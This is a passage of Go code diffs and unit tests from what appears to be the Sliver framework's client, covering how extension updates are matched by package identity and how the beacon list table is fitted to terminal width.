||||
t.Fatalf("lookup %q failed: %v", name, err)
|
||||
}
|
||||
if found.ID != entry.ID {
|
||||
t.Fatalf("lookup %q returned %q, want %q", name, found.ID, entry.ID)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
if _, err := getPackageForCommand("remote-adcs-package", "other-armory", "v0.1.5"); !errors.Is(err, ErrPackageNotFound) {
|
||||
t.Fatalf("wrong-armory lookup error = %v, want %v", err, ErrPackageNotFound)
|
||||
}
|
||||
if _, err := getPackageForCommand("remote-adcs-package", "armory-public-key", "v0.1.6"); !errors.Is(err, ErrPackageNotFound) {
|
||||
t.Fatalf("newer-version lookup error = %v, want %v", err, ErrPackageNotFound)
|
||||
}
|
||||
for _, name := range []string{"ADCS Request (Remote)", "Remote ADCS package", "unknown-package"} {
|
||||
if _, err := getPackageForCommand(name, "", ""); !errors.Is(err, ErrPackageNotFound) {
|
||||
t.Fatalf("unstable identity %q lookup error = %v, want %v", name, err, ErrPackageNotFound)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPackageMatchesInstallNameLeavesAliasesCommandOnly(t *testing.T) {
|
||||
entry := pkgCacheEntry{
|
||||
Pkg: ArmoryPackage{
|
||||
Name: "Human Alias Name",
|
||||
CommandName: "alias-command",
|
||||
IsAlias: true,
|
||||
},
|
||||
Alias: &alias.AliasManifest{CommandName: "alias-command"},
|
||||
}
|
||||
if packageMatchesInstallName(entry, "Human Alias Name") {
|
||||
t.Fatal("alias unexpectedly matched its display name")
|
||||
}
|
||||
if !packageMatchesInstallName(entry, "alias-command") {
|
||||
t.Fatal("alias did not match its command name")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionManifestsMatch(t *testing.T) {
|
||||
manifest := func(name, packageName string, commands ...string) *extensions.ExtensionManifest {
|
||||
extCommands := make([]*extensions.ExtCommand, 0, len(commands))
|
||||
for _, command := range commands {
|
||||
extCommands = append(extCommands, &extensions.ExtCommand{CommandName: command})
|
||||
}
|
||||
return &extensions.ExtensionManifest{Name: name, PackageName: packageName, ExtCommand: extCommands}
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
local *extensions.ExtensionManifest
|
||||
latest *extensions.ExtensionManifest
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "v2 package identity",
|
||||
local: manifest("Old Display Name", "stable-package", "old-command"),
|
||||
latest: manifest("New Display Name", "stable-package", "new-command"),
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "different v2 packages",
|
||||
local: manifest("Shared Display Name", "package-one", "shared-command"),
|
||||
latest: manifest("Shared Display Name", "package-two", "shared-command"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "v2 does not downgrade to legacy identity",
|
||||
local: manifest("Human Display Name", "stable-package", "shared-command"),
|
||||
latest: manifest("legacy-command", "", "shared-command"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "legacy command identity",
|
||||
local: manifest("legacy-command", "", "legacy-command"),
|
||||
latest: manifest("Human Display Name", "stable-package", "other-command", "legacy-command"),
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "display names are not identity",
|
||||
local: manifest("Shared Name", "", "old-command"),
|
||||
latest: manifest("Shared Name", "stable-package", "new-command"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "unrelated legacy package",
|
||||
local: manifest("Old Name", "", "old-command"),
|
||||
latest: manifest("New Name", "stable-package", "new-command"),
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
if got := extensionManifestsMatch(test.local, test.latest); got != test.want {
|
||||
t.Fatalf("extensionManifestsMatch() = %t, want %t", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionUpdateDisplayNameResolvesPackage(t *testing.T) {
|
||||
resetPackageCache(t)
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
|
||||
installedManifest := []byte(`{
|
||||
"name":"ADCS Request (Remote)",
|
||||
"package_name":"remote-adcs-package",
|
||||
"version":"v0.1.3",
|
||||
"commands":[{
|
||||
"command_name":"remote-adcs-request",
|
||||
"help":"Request a certificate",
|
||||
"files":[{"os":"windows","arch":"amd64","path":"adcs_request.x64.o"}]
|
||||
}]
|
||||
}`)
|
||||
installDir := filepath.Join(assets.GetExtensionsDir(), "remote-adcs-request")
|
||||
if err := os.MkdirAll(installDir, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(installDir, extensions.ManifestFileName), installedManifest, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entry := testExtensionCacheEntry()
|
||||
pkgCache.Store(entry.ID, entry)
|
||||
otherEntry := testExtensionCacheEntry()
|
||||
otherEntry.ID = "other-armory-package-id"
|
||||
otherEntry.ArmoryConfig = &assets.ArmoryConfig{PublicKey: "other-armory"}
|
||||
otherManifest := *otherEntry.Extension
|
||||
otherManifest.Version = "v9.0.0"
|
||||
otherManifest.ArmoryName = "Other Armory"
|
||||
otherManifest.ArmoryPK = "other-armory"
|
||||
otherEntry.Extension = &otherManifest
|
||||
pkgCache.Store(otherEntry.ID, otherEntry)
|
||||
|
||||
updates := checkForExtensionUpdates("armory-public-key")
|
||||
versionInfo, ok := updates["ADCS Request (Remote)"]
|
||||
if !ok {
|
||||
t.Fatal("display-name update was not detected")
|
||||
}
|
||||
if versionInfo.OldVersion != "v0.1.3" || versionInfo.NewVersion != "v0.1.5" {
|
||||
t.Fatalf("unexpected versions: %#v", versionInfo)
|
||||
}
|
||||
if versionInfo.PackageID != entry.ID {
|
||||
t.Fatalf("update package ID = %q, want %q", versionInfo.PackageID, entry.ID)
|
||||
}
|
||||
|
||||
found := packageCacheLookupByID(versionInfo.PackageID)
|
||||
if found == nil {
|
||||
t.Fatal("detected update package is missing from the cache")
|
||||
}
|
||||
if found.ID != entry.ID {
|
||||
t.Fatalf("resolved package %q, want %q", found.ID, entry.ID)
|
||||
}
|
||||
}
|
||||
@@ -21,7 +21,9 @@ package armory
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"maps"
|
||||
"os"
|
||||
"slices"
|
||||
"sort"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
@@ -33,13 +35,13 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
type VersionInformation struct {
|
||||
OldVersion string
|
||||
NewVersion string
|
||||
ArmoryName string
|
||||
PackageID string
|
||||
}
|
||||
|
||||
type PackageType uint
|
||||
@@ -124,9 +126,9 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
|
||||
updatedPackage := packageCacheLookupByID(extVersionInfo.PackageID)
|
||||
if updatedPackage == nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, ErrPackageNotFound)
|
||||
continue
|
||||
}
|
||||
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
|
||||
@@ -173,8 +175,21 @@ func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
|
||||
return results
|
||||
}
|
||||
|
||||
func extensionManifestsMatch(localManifest, latestManifest *extensions.ExtensionManifest) bool {
|
||||
if localManifest.PackageName != "" {
|
||||
return latestManifest.PackageName != "" && localManifest.PackageName == latestManifest.PackageName
|
||||
}
|
||||
for _, localCommand := range localManifest.ExtCommand {
|
||||
for _, latestCommand := range latestManifest.ExtCommand {
|
||||
if localCommand.CommandName == latestCommand.CommandName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
_, cachedExtensions := packageManifestsInCache()
|
||||
// Return a map of extension name to minimum version to install
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
@@ -186,7 +201,12 @@ func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
pkgCache.Range(func(_, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok || cacheEntry.LastErr != nil || cacheEntry.Pkg.IsAlias || cacheEntry.Extension == nil {
|
||||
return true
|
||||
}
|
||||
latestExt := cacheEntry.Extension
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
@@ -194,16 +214,22 @@ func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
|
||||
if extensionManifestsMatch(localManifest, latestExt) && latestExt.Version > localManifest.Version {
|
||||
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
current, found := results[localManifest.Name]
|
||||
if !found || latestExt.Version > current.NewVersion ||
|
||||
(latestExt.Version == current.NewVersion && cacheEntry.ID < current.PackageID) {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
PackageID: cacheEntry.ID,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
@@ -219,8 +245,8 @@ func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInfo
|
||||
|
||||
result := []UpdateIdentifier{}
|
||||
|
||||
aliasNames := util.Keys(aliasUpdates)
|
||||
extensionNames := util.Keys(extensionUpdates)
|
||||
aliasNames := slices.Collect(maps.Keys(aliasUpdates))
|
||||
extensionNames := slices.Collect(maps.Keys(extensionUpdates))
|
||||
for _, name := range aliasNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: AliasPackage,
|
||||
|
||||
@@ -30,6 +30,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/targettable"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -121,50 +122,30 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
return renderBeaconsAtWidth(beacons, filter, filterRegex, con, width, time.Now())
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
// renderBeaconsAtWidth uses one reference time for all candidate layouts,
|
||||
// preventing a second boundary from changing the table width while it is fitted.
|
||||
func renderBeaconsAtWidth(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient, width int, now time.Time) table.Writer {
|
||||
windowsBeaconInList := false
|
||||
for _, beacon := range beacons {
|
||||
if beacon.OS == "windows" {
|
||||
windowsBeaconInList = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if wideTermWidth {
|
||||
if windowsBeaconInList {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Integrity",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
} else {
|
||||
|
||||
return targettable.Fit(width, windowsBeaconInList, func(layout targettable.Layout) table.Writer {
|
||||
return buildBeaconTable(beacons, filter, filterRegex, con, layout, windowsBeaconInList, now)
|
||||
})
|
||||
}
|
||||
|
||||
func buildBeaconTable(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient, layout targettable.Layout, windowsBeaconInList bool, now time.Time) table.Writer {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
includeIntegrity := windowsBeaconInList && layout.IncludeIntegrity
|
||||
if layout.Compact {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -175,22 +156,84 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
header := table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
}
|
||||
if includeIntegrity {
|
||||
header = append(header, "Integrity")
|
||||
}
|
||||
header = append(header, "Operating System")
|
||||
if layout.IncludeLocale {
|
||||
header = append(header, "Locale")
|
||||
}
|
||||
header = append(header, "Last Check-in", "Next Check-in")
|
||||
tw.AppendHeader(header)
|
||||
}
|
||||
|
||||
activeBeaconID := ""
|
||||
if con.ActiveTarget != nil {
|
||||
if activeBeacon := con.ActiveTarget.GetBeacon(); activeBeacon != nil {
|
||||
activeBeaconID = activeBeacon.ID
|
||||
}
|
||||
}
|
||||
|
||||
for _, beacon := range beacons {
|
||||
integrity := beacon.Integrity
|
||||
if integrity == "" {
|
||||
integrity = "-"
|
||||
}
|
||||
username := strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")
|
||||
lastCheckin := time.Unix(beacon.LastCheckin, 0)
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
canonicalEntries := []string{
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
fmt.Sprintf("%d/%d", beacon.TasksCountCompleted, beacon.TasksCount),
|
||||
beacon.Transport,
|
||||
beacon.RemoteAddress,
|
||||
beacon.Hostname,
|
||||
username,
|
||||
fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID),
|
||||
integrity,
|
||||
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
|
||||
beacon.Locale,
|
||||
formatBeaconDateDelta(lastCheckin, now, true, false),
|
||||
formatBeaconDateDelta(nextCheckin, now, true, false),
|
||||
}
|
||||
if !beaconMatchesFilter(canonicalEntries, filter, filterRegex) {
|
||||
continue
|
||||
}
|
||||
|
||||
style := console.StyleNormal
|
||||
activeBeacon := con.ActiveTarget.GetBeacon()
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
if activeBeaconID == beacon.ID {
|
||||
style = console.StyleGreen
|
||||
}
|
||||
if beacon.Integrity == "" {
|
||||
beacon.Integrity = "-"
|
||||
}
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
|
||||
if wideTermWidth {
|
||||
if layout.Compact {
|
||||
rowEntries = []string{
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(username),
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
formatBeaconDateDelta(lastCheckin, now, false, false),
|
||||
formatBeaconDateDelta(nextCheckin, now, false, true),
|
||||
}
|
||||
} else {
|
||||
processName := beacon.Filename
|
||||
if layout.ProcessBasename {
|
||||
processName = targettable.ProcessName(processName)
|
||||
}
|
||||
rowEntries = []string{
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
@@ -198,56 +241,69 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.RemoteAddress),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
style.Render(fmt.Sprintf("%s (%d)", beacon.Filename, beacon.PID)),
|
||||
style.Render(username),
|
||||
style.Render(fmt.Sprintf("%s (%d)", processName, beacon.PID)),
|
||||
}
|
||||
|
||||
if windowsBeaconInList {
|
||||
rowEntries = append(rowEntries, style.Render(beacon.Integrity))
|
||||
if includeIntegrity {
|
||||
rowEntries = append(rowEntries, style.Render(integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
style.Render(beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
style.Render(strings.Split(beacon.ID, "-")[0]),
|
||||
style.Render(beacon.Name),
|
||||
style.Render(beacon.Transport),
|
||||
style.Render(beacon.Hostname),
|
||||
style.Render(strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
rowEntries = append(rowEntries, style.Render(fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch)))
|
||||
if layout.IncludeLocale {
|
||||
rowEntries = append(rowEntries, style.Render(beacon.Locale))
|
||||
}
|
||||
rowEntries = append(rowEntries,
|
||||
formatBeaconDateDelta(lastCheckin, now, true, false),
|
||||
formatBeaconDateDelta(nextCheckin, now, true, true),
|
||||
)
|
||||
}
|
||||
// Build the row struct
|
||||
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
return tw
|
||||
}
|
||||
|
||||
func beaconMatchesFilter(entries []string, filter string, filterRegex *regexp.Regexp) bool {
|
||||
if filter == "" && filterRegex == nil {
|
||||
return true
|
||||
}
|
||||
for _, entry := range entries {
|
||||
if filter != "" && strings.Contains(entry, filter) {
|
||||
return true
|
||||
}
|
||||
if filterRegex != nil && filterRegex.MatchString(entry) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func formatBeaconDateDelta(timestamp time.Time, now time.Time, includeDate bool, color bool) string {
|
||||
date := timestamp.Format(time.UnixDate)
|
||||
interval := ""
|
||||
if timestamp.Before(now) {
|
||||
delta := now.Sub(timestamp).Round(time.Second)
|
||||
if includeDate {
|
||||
interval = fmt.Sprintf("%s (%s ago)", date, delta)
|
||||
} else {
|
||||
interval = delta.String()
|
||||
}
|
||||
if color {
|
||||
interval = console.StyleBoldRed.Render(interval)
|
||||
}
|
||||
} else {
|
||||
delta := timestamp.Sub(now).Round(time.Second)
|
||||
if includeDate {
|
||||
interval = fmt.Sprintf("%s (in %s)", date, delta)
|
||||
} else {
|
||||
interval = delta.String()
|
||||
}
|
||||
if color {
|
||||
interval = console.StyleBoldGreen.Render(interval)
|
||||
}
|
||||
}
|
||||
return interval
|
||||
}
|
||||
@@ -0,0 +1,257 @@
|
||||
package beacons
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/targettable"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
var beaconTableTestNow = time.Date(2026, time.September, 3, 21, 25, 41, 0, time.UTC)
|
||||
|
||||
func TestRenderBeaconsUsesFullProcessPathWhenItFits(t *testing.T) {
|
||||
beacon := testWindowsBeacon()
|
||||
layout := targettable.Layout{IncludeIntegrity: true, IncludeLocale: true}
|
||||
width := beaconCandidateWidth(t, []*clientpb.Beacon{beacon}, layout, true)
|
||||
|
||||
rendered := renderBeaconTableAtWidth(t, []*clientpb.Beacon{beacon}, "", nil, width)
|
||||
if !strings.Contains(rendered, beacon.Filename+" (2020)") {
|
||||
t.Fatalf("full process path missing from table:\n%s", rendered)
|
||||
}
|
||||
if !strings.Contains(rendered, "(36s ago)") || !strings.Contains(rendered, "(in 24s)") {
|
||||
t.Fatalf("wide check-in timestamps changed unexpectedly:\n%s", rendered)
|
||||
}
|
||||
assertBeaconTableFits(t, rendered, width)
|
||||
}
|
||||
|
||||
func TestRenderBeaconsUsesPortableProcessBasenameWhenRequired(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
beacon *clientpb.Beacon
|
||||
hasIntegrity bool
|
||||
wantProcess string
|
||||
}{
|
||||
{
|
||||
name: "windows path",
|
||||
beacon: testWindowsBeacon(),
|
||||
hasIntegrity: true,
|
||||
wantProcess: "winterfell.exe (2020)",
|
||||
},
|
||||
{
|
||||
name: "posix path",
|
||||
beacon: testLinuxBeacon(),
|
||||
hasIntegrity: false,
|
||||
wantProcess: "winterfell-agent (2020)",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
beacons := []*clientpb.Beacon{tt.beacon}
|
||||
fullLayout := targettable.Layout{
|
||||
IncludeIntegrity: tt.hasIntegrity,
|
||||
IncludeLocale: true,
|
||||
}
|
||||
basenameLayout := fullLayout
|
||||
basenameLayout.ProcessBasename = true
|
||||
fullWidth := beaconCandidateWidth(t, beacons, fullLayout, tt.hasIntegrity)
|
||||
basenameWidth := beaconCandidateWidth(t, beacons, basenameLayout, tt.hasIntegrity)
|
||||
if basenameWidth >= fullWidth {
|
||||
t.Fatalf("basename candidate width %d is not narrower than full-path width %d", basenameWidth, fullWidth)
|
||||
}
|
||||
|
||||
rendered := renderBeaconTableAtWidth(t, beacons, "", nil, basenameWidth)
|
||||
if !strings.Contains(rendered, tt.wantProcess) {
|
||||
t.Fatalf("process basename missing from table:\n%s", rendered)
|
||||
}
|
||||
if strings.Contains(rendered, tt.beacon.Filename) {
|
||||
t.Fatalf("full process path remained in basename layout:\n%s", rendered)
|
||||
}
|
||||
assertBeaconTableFits(t, rendered, basenameWidth)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBeaconsOmitsIntegrityBeforeLocale(t *testing.T) {
|
||||
beacon := testWindowsBeacon()
|
||||
beacons := []*clientpb.Beacon{beacon}
|
||||
withAll := targettable.Layout{
|
||||
ProcessBasename: true,
|
||||
IncludeIntegrity: true,
|
||||
IncludeLocale: true,
|
||||
}
|
||||
withoutIntegrity := withAll
|
||||
withoutIntegrity.IncludeIntegrity = false
|
||||
withoutLocale := withoutIntegrity
|
||||
withoutLocale.IncludeLocale = false
|
||||
|
||||
allWidth := beaconCandidateWidth(t, beacons, withAll, true)
|
||||
withoutIntegrityWidth := beaconCandidateWidth(t, beacons, withoutIntegrity, true)
|
||||
withoutLocaleWidth := beaconCandidateWidth(t, beacons, withoutLocale, true)
|
||||
if !(withoutLocaleWidth < withoutIntegrityWidth && withoutIntegrityWidth < allWidth) {
|
||||
t.Fatalf("candidate widths did not shrink in omission order: all=%d no-integrity=%d no-locale=%d", allWidth, withoutIntegrityWidth, withoutLocaleWidth)
|
||||
}
|
||||
|
||||
withoutIntegrityRendered := renderBeaconTableAtWidth(t, beacons, "", nil, withoutIntegrityWidth)
|
||||
assertHeaderPresence(t, withoutIntegrityRendered, "Integrity", false)
|
||||
assertHeaderPresence(t, withoutIntegrityRendered, "Locale", true)
|
||||
assertBeaconTableFits(t, withoutIntegrityRendered, withoutIntegrityWidth)
|
||||
|
||||
withoutLocaleRendered := renderBeaconTableAtWidth(t, beacons, "", nil, withoutLocaleWidth)
|
||||
assertHeaderPresence(t, withoutLocaleRendered, "Integrity", false)
|
||||
assertHeaderPresence(t, withoutLocaleRendered, "Locale", false)
|
||||
assertBeaconTableFits(t, withoutLocaleRendered, withoutLocaleWidth)
|
||||
}
|
||||
|
||||
func TestRenderBeaconsDoesNotAddIntegrityForNonWindowsTargets(t *testing.T) {
|
||||
beacon := testLinuxBeacon()
|
||||
beacons := []*clientpb.Beacon{beacon}
|
||||
layout := targettable.Layout{IncludeLocale: true}
|
||||
width := beaconCandidateWidth(t, beacons, layout, false)
|
||||
|
||||
rendered := renderBeaconTableAtWidth(t, beacons, "", nil, width)
|
||||
assertHeaderPresence(t, rendered, "Integrity", false)
|
||||
assertHeaderPresence(t, rendered, "Locale", true)
|
||||
if !strings.Contains(rendered, beacon.Filename+" (2020)") {
|
||||
t.Fatalf("non-Windows full process path missing from table:\n%s", rendered)
|
||||
}
|
||||
assertBeaconTableFits(t, rendered, width)
|
||||
}
|
||||
|
||||
func TestRenderBeaconsFiltersCanonicalFullRows(t *testing.T) {
|
||||
beacon := testWindowsBeacon()
|
||||
beacons := []*clientpb.Beacon{beacon}
|
||||
basenameLayout := targettable.Layout{
|
||||
ProcessBasename: true,
|
||||
IncludeIntegrity: true,
|
||||
IncludeLocale: true,
|
||||
}
|
||||
basenameWidth := beaconCandidateWidth(t, beacons, basenameLayout, true)
|
||||
withoutLocale := basenameLayout
|
||||
withoutLocale.IncludeIntegrity = false
|
||||
withoutLocale.IncludeLocale = false
|
||||
withoutLocaleWidth := beaconCandidateWidth(t, beacons, withoutLocale, true)
|
||||
|
||||
t.Run("full process path survives basename projection", func(t *testing.T) {
|
||||
rendered := renderBeaconTableAtWidth(t, beacons, `AppData\Local\Temp`, nil, basenameWidth)
|
||||
if !strings.Contains(rendered, beacon.Name) {
|
||||
t.Fatalf("filter matching canonical process path removed beacon:\n%s", rendered)
|
||||
}
|
||||
if strings.Contains(rendered, `AppData\Local\Temp`) {
|
||||
t.Fatalf("basename layout unexpectedly displayed filtered directory:\n%s", rendered)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("hidden integrity survives column projection", func(t *testing.T) {
|
||||
rendered := renderBeaconTableAtWidth(t, beacons, "", regexp.MustCompile(`^High$`), withoutLocaleWidth)
|
||||
if !strings.Contains(rendered, beacon.Name) {
|
||||
t.Fatalf("filter matching hidden integrity removed beacon:\n%s", rendered)
|
||||
}
|
||||
assertHeaderPresence(t, rendered, "Integrity", false)
|
||||
})
|
||||
}
|
||||
|
||||
func TestRenderBeaconsDoesNotMutateEmptyIntegrity(t *testing.T) {
|
||||
beacon := testWindowsBeacon()
|
||||
beacon.Integrity = ""
|
||||
layout := targettable.Layout{IncludeIntegrity: true, IncludeLocale: true}
|
||||
width := beaconCandidateWidth(t, []*clientpb.Beacon{beacon}, layout, true)
|
||||
|
||||
_ = renderBeaconTableAtWidth(t, []*clientpb.Beacon{beacon}, "", nil, width)
|
||||
if beacon.Integrity != "" {
|
||||
t.Fatalf("beacon integrity mutated to %q", beacon.Integrity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderBeaconsCompactFallbackPreservesLegacyColumnsAndTimes(t *testing.T) {
|
||||
beacon := testWindowsBeacon()
|
||||
beacons := []*clientpb.Beacon{beacon}
|
||||
compactWidth := beaconCandidateWidth(t, beacons, targettable.Layout{Compact: true}, true)
|
||||
withoutOptionalWidth := beaconCandidateWidth(t, beacons, targettable.Layout{ProcessBasename: true}, true)
|
||||
if compactWidth >= withoutOptionalWidth {
|
||||
t.Fatalf("test fixture does not require compact fallback: compact=%d detailed=%d", compactWidth, withoutOptionalWidth)
|
||||
}
|
||||
rendered := renderBeaconTableAtWidth(t, beacons, "", nil, compactWidth)
|
||||
|
||||
for _, omitted := range []string{"Tasks", "Remote Address", "Process (PID)", "Integrity", "Locale"} {
|
||||
assertHeaderPresence(t, rendered, omitted, false)
|
||||
}
|
||||
if !strings.Contains(rendered, "36s") || !strings.Contains(rendered, "24s") {
|
||||
t.Fatalf("compact relative check-in times missing:\n%s", rendered)
|
||||
}
|
||||
if strings.Contains(rendered, "36s ago") || strings.Contains(rendered, "in 24s") {
|
||||
